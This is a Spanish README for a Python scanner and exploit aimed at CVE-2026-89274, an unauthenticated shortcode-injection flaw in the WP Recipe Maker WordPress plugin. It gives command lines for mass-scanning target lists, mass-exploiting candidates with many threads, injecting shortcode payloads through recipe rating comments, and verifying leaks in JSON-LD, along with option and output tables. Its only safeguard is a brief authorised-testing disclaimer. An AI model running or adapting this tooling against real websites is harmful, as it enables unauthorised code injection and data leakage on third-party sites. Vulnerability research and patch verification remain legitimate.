
Escáner PoC en Python y exploit para CVE-2026-89274, una vulnerabilidad de ejecución arbitraria de shortcode sin autenticación en WP Recipe Maker <=10.8.1 a través de comentarios de valoración de recetas y JSON-LD.
Escáner/exploit PoC en Python 3 para CVE-2026-89274 en WP Recipe Maker.
| Plugin | wp-recipe-maker |
| Afectado | ≤ 10.8.1 |
| Corregido en | 10.8.2+ |
| CVSS | 9.1 (Crítico) |
| Auth | No autenticado (envío de comentario) |
| CWE | CWE-94 |
WPRM_Metadata::sanitize_metadata() ejecuta do_shortcode() sobre los campos de metadatos antes de strip_shortcodes(). Los comentarios de valoración de recetas aprobados (wprm-comment-rating) rellenan el reviewBody del JSON-LD; los shortcodes inyectados se ejecutan al cargar la página de la receta y pueden filtrar la salida en los datos estructurados.
Requisito: El comentario malicioso debe estar aprobado (autoaprobación o moderador). El modo exploit puede usar --verify para confirmar que el marcador aparece en el reviewBody del JSON-LD.
pip install -r requirements.txtpip install -r requirements.txt
# Check plugin version + recipe page with comment rating form
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Mass exploit from check output (candidates.jsonl)
python poc.py --list candidates.jsonl --mode exploit --threads 20 \
--shortcode "[caption]PROBE[/caption]" --verify --quiet
# Single-target exploit + JSON-LD verification
python poc.py -u https://target.example --mode exploit \
--recipe-url /some-post-with-recipe/ \
--shortcode "[caption]PROBE[/caption]" --verify
# Verify after comment approval (marker from exploit JSON)
python poc.py -u https://target.example --mode verify \
--recipe-url /some-post-with-recipe/ --marker wprm89274_abc12345
# Batch verify prior submissions (submitted_mass.txt format)
python poc.py --list submitted_mass.txt --mode verify --threads 30 --quiet \
--output verify_submitted.jsonl --vuln-list verified_leaks.txt
submitted_mass.txt (modo verify)https://target.example|https://target.example/recipe-post/|post=123|marker=wprm89274_abc12345
| Opción | Descripción |
|---|---|
-u, --url | URL base de un único objetivo |
--list | Lista de URLs, candidates.jsonl, o submitted_mass.txt (verify) |
--mode | check, exploit, o verify |
--recipe-url | URL del post con receta WPRM embebida + comentarios |
--post-id | comment_post_ID de WordPress |
--recipe-id | ID de receta WPRM (opcional --use-api) |
--shortcode | Payload en el texto del comentario (shortcode de sonda por defecto) |
--marker | Verify: buscar la subcadena del marcador en el JSON-LD |
--verify | Exploit: confirmar la fuga en el JSON-LD tras el envío |
--use-api | Probar también la ruta REST de valoración de usuario Premium |
--threads, -j | Concurrencia masiva (por defecto 20) |
--output | Resultados JSONL (por defecto cve_2026_89274_results.jsonl) |
--vuln-list | Salida de texto para hits/fugas (por defecto hits.txt) |
--candidates-list | Metadatos de hits del check (por defecto candidates.jsonl) |
--quiet | Menos salida de progreso en ejecuciones masivas |
| Archivo | Contenido |
|---|---|
cve_2026_89274_results.jsonl | JSON por objetivo |
hits.txt | URLs base candidatas |
candidates.jsonl | page_url, post_id, recipe_id, version |
status (check)| Estado | Significado |
|---|---|
candidate | Versión vulnerable + página de receta con wprm-comment-rating |
plugin_no_recipe_comments | Plugin presente, no se encontró receta/página de comentarios adecuada |
recipe_no_comment_rating | Página de receta sin formulario de valoración por comentario |
patched | Versión ≥ 10.8.2 |
no_plugin | WP Recipe Maker no detectado |
[caption])./blog/, /recipes/) pueden no mostrar fugas en el JSON-LD; el exploit prefiere enlaces permanentes de recetas individuales al descubrir páginas.--verify solo confirma el reflejo en el JSON-LD, no un RCE completo..
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Las listas de escaneo locales y los artefactos de ejecución (list.txt, *.jsonl, submitted_mass.txt, …) están en .gitignore y no deben ser confirmados.
Solo para pruebas de seguridad autorizadas. Usted es responsable del cumplimiento de las leyes aplicables y las reglas del programa.